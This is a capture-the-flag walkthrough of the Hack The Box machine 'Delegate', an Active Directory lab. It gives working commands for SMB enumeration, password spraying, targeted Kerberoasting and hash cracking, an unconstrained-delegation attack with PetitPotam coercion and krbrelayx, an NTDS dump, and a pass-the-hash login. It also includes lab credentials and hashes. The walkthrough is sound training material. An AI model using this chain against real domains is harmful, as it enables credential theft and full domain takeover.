Logo
Overview

HTB: Delegate (Windows/Medium)

September 18, 2025
6 min read

Recon 🕵️

Network Enumeration

TCP Scan

Terminal window
ip=10.129.100.35
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

Based on the TCP scan results, the following ports are available for further assessment:

PortSoftwareVersionStatus
53/tcpdomainttl 127 Simple DNS Plusopen
88/tcpkerberos-secttl 127 Microsoft Windows Kerberos (server time: 2025-09-11 15:39:27Z)open
135/tcpmsrpcttl 127 Microsoft Windows RPCopen
139/tcpnetbios-ssnttl 127 Microsoft Windows netbios-ssnopen
389/tcpldapttl 127 Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)open
445/tcpmicrosoft-ds?ttl 127open
464/tcpkpasswd5?ttl 127open
593/tcpncacn_httpttl 127 Microsoft Windows RPC over HTTP 1.0open
636/tcptcpwrappedttl 127open
3268/tcpldapttl 127 Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)open
3269/tcptcpwrappedttl 127open
3389/tcpms-wbt-serverttl 127 Microsoft Terminal Servicesopen
5985/tcphttpttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)open
9389/tcpmc-nmfttl 127 .NET Message Framingopen
47001/tcphttpttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)open
61872/tcpncacn_httpttl 127 Microsoft Windows RPC over HTTP 1.0open

We can observe the usual Windows Domain Controller ports (53, 88, 464, 593, 3268, 3269), along with common Windows service ports such as 135, 139, and 445. The scan also discloses the domain name delegate.vl as well as the domain controller DC01.delegate.vl:

Put screenshot here :

Pasted image 20250911164349.png

Terminal window
echo "$ip delegate.vl DC01.delegate.vl" | sudo tee -a /etc/hosts

Active Directory Enumeration

Enumerating the SMB shares

Let’s start by enumerating the smb shares:

Terminal window
nxc smb delegate.vl -u 'frenzy' -p '' --shares

Pasted image 20250911165434.png

Instead of using smbclient to enumerate each share individually, we can leverage the new NetExec SMB Spider module to list everything with a single command:

Terminal window
nxc smb delegate.vl -u 'frenzy' -p '' -M spider_plus

From the output, we can see that the SYSVOL share contains a /scripts directory, which includes a batch file:

Pasted image 20250911165843.png

After downloading the file, we see that it contains a cleartext password, and the command uses the username Administrator. But it’s not that simple we can’t just obtain Domain Administrator access by enumerating SMB shares 😭:

Terminal window
nxc smb delegate.vl -u 'frenzy' -p '' --share SYSVOL --get-file 'delegate.vl/scripts/users.bat' users.bat

Pasted image 20250911170811.png

With a password in hand, the next logical step is to obtain a list of usernames, spray the password against them, and see if it works with a working combination. Let’s do that:

Terminal window
nxc smb delegate.vl -u 'frenzy' -p '' --rid-brute

That provided us with all the users and groups from the domain controller:

Pasted image 20250911171908.png

After extracting the usernames, let’s spray them with the same password:

Terminal window
nxc smb delegate.vl -u wordlists/usernames.list -p 'P4ssw0rd1#123' --continue-on-success

We get a hit on A.Briggs:

Pasted image 20250911173100.png

Terminal window
A.Briggs:'P4ssw0rd1#123'

I tested these credentials against all services, but we didn’t gain anything new no access to the other two SMB shares or WinRM. So, let’s summon BloodHound.

Bloodhound

To kick off our Active Directory exploration, Let’s extract the bloodhound data:

Terminal window
bloodhound-ce-python -u 'A.Briggs' -p 'P4ssw0rd1#123' -d 'delegate.vl' -ns $ip -c All --zip

In BloodHound, we see that the Remote Management Users group contains only one user which is N.Thompson, so it’s a reasonable guess that this is the user with the user flag:

Pasted image 20250911175328.png

And we can see that our user A.Briggs has GenericWrite over it:

Pasted image 20250911175249.png

Exploiting 🦈

Foothold

Shell as N.Thompson

Let’s start by exploiting that GenericWrite via a targeted Kerberoast:

Terminal window
python3 targetedKerberoast.py -v -d 'delegate.vl' -u 'A.Briggs' -p 'P4ssw0rd1#123'

Pasted image 20250911175840.png

Nice, Let’s crack it:

Terminal window
hashcat thompson.tgs ../wordlists/rockyou.txt

Pasted image 20250911180900.png

Terminal window
N.Thompson:KALEB_2341

With the new credentials in hand, let’s get a shell:

Terminal window
evil-winrm -i delegate.vl -u 'n.thompson' -p "KALEB_2341"

As expected we get the user flag as well:

Pasted image 20250911181135.png

Privilege Escalation

Shell as Administrator

We can see that our user N.THOMPSON is a member of the Delegation Admins group. This group is not a built-in group in ADDS; rather, it is a custom group. Its purpose is to allow certain users to manage delegated permissions, typically at the organizational unit or object level, rather than granting them full administrative rights over the domain:

Pasted image 20250911211546.png

A common way to exploit this scenario is to add a computer account, configure it for unconstrained delegation, and then coerce the Domain Controller to authenticate to that machine. This provides us with a valid TGT, which can then be relayed or leveraged for further attacks.

Let’s start by adding a computer account:

Terminal window
impacket-addcomputer -computer-name COMP69 -computer-pass 'frenzy' -dc-ip $ip 'delegate.vl'/'N.Thompson':'KALEB_2341'

Pasted image 20250917163417.png

Now we enable Unconstrained Delegation on it:

Terminal window
bloodyAD -d delegate.vl -u N.Thompson -p KALEB_2341 --host DC01.delegate.vl add uac 'COMP69$' -f TRUSTED_FOR_DELEGATION

Pasted image 20250917175512.png

Next steps are to add an SPN as well as a DNS entry for our machine to be recognized by other devices in the DC:

Terminal window
python3 ./addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'HOST/COMP69.delegate.vl' -t 'COMP69$' -dc-ip $ip 'DC01.delegate.vl'

Pasted image 20250917213546.png

Terminal window
python3 dnstool.py -u 'delegate.vl\COMP69$' -p 'frenzy' --action add --record COMP69.delegate.vl --data 10.10.16.25 --type A -dns-ip $ip 'DC01.delegate.vl'

Pasted image 20250917180213.png

That completes the setup. Now it’s time to move on to exploitation. For this, we will use krbrelayx to capture the Domain Controller’s TGS. Before doing so, we need to compute the NTLM hash of the machine account’s password and then supply it to the tool:

Terminal window
echo -n "frenzy" | iconv -f utf-8 -t utf-16le | openssl dgst -md4 | awk '{print $2}'

Pasted image 20250918113435.png

Now we our listener then coerce the DC to authenticate and get the ticket:

Terminal window
python3 krbrelayx.py -hashes :4439e281d022cc776ab8566bbf3026d4
Terminal window
nxc smb 'DC01.delegate.vl' -u 'COMP69$' -p 'frenzy' -M coerce_plus -o LISTENER='COMP69.delegate.vl' METHOD=PetitPotam

Pasted image 20250917221145.png

With the ticket in hand, we have multiple options for further exploitation. The most straightforward approach is to dump the NTDS.dit database in order to extract the Administrator’s NTLM hash. Once obtained, we can use this hash to authenticate via Pass-the-Hash, since NTLM authentication has not been disabled in this environment:

Terminal window
export KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
nxc smb 'DC01.delegate.vl' --use-kcache --ntds --user Administrator

Pasted image 20250917221130.png

Let’s login and get the loot:

Terminal window
evil-winrm -i $ip -u Administrator -H 'c32198ceab4cc695e65045562aa3ee93'

Pasted image 20250917221433.png

  Chopppper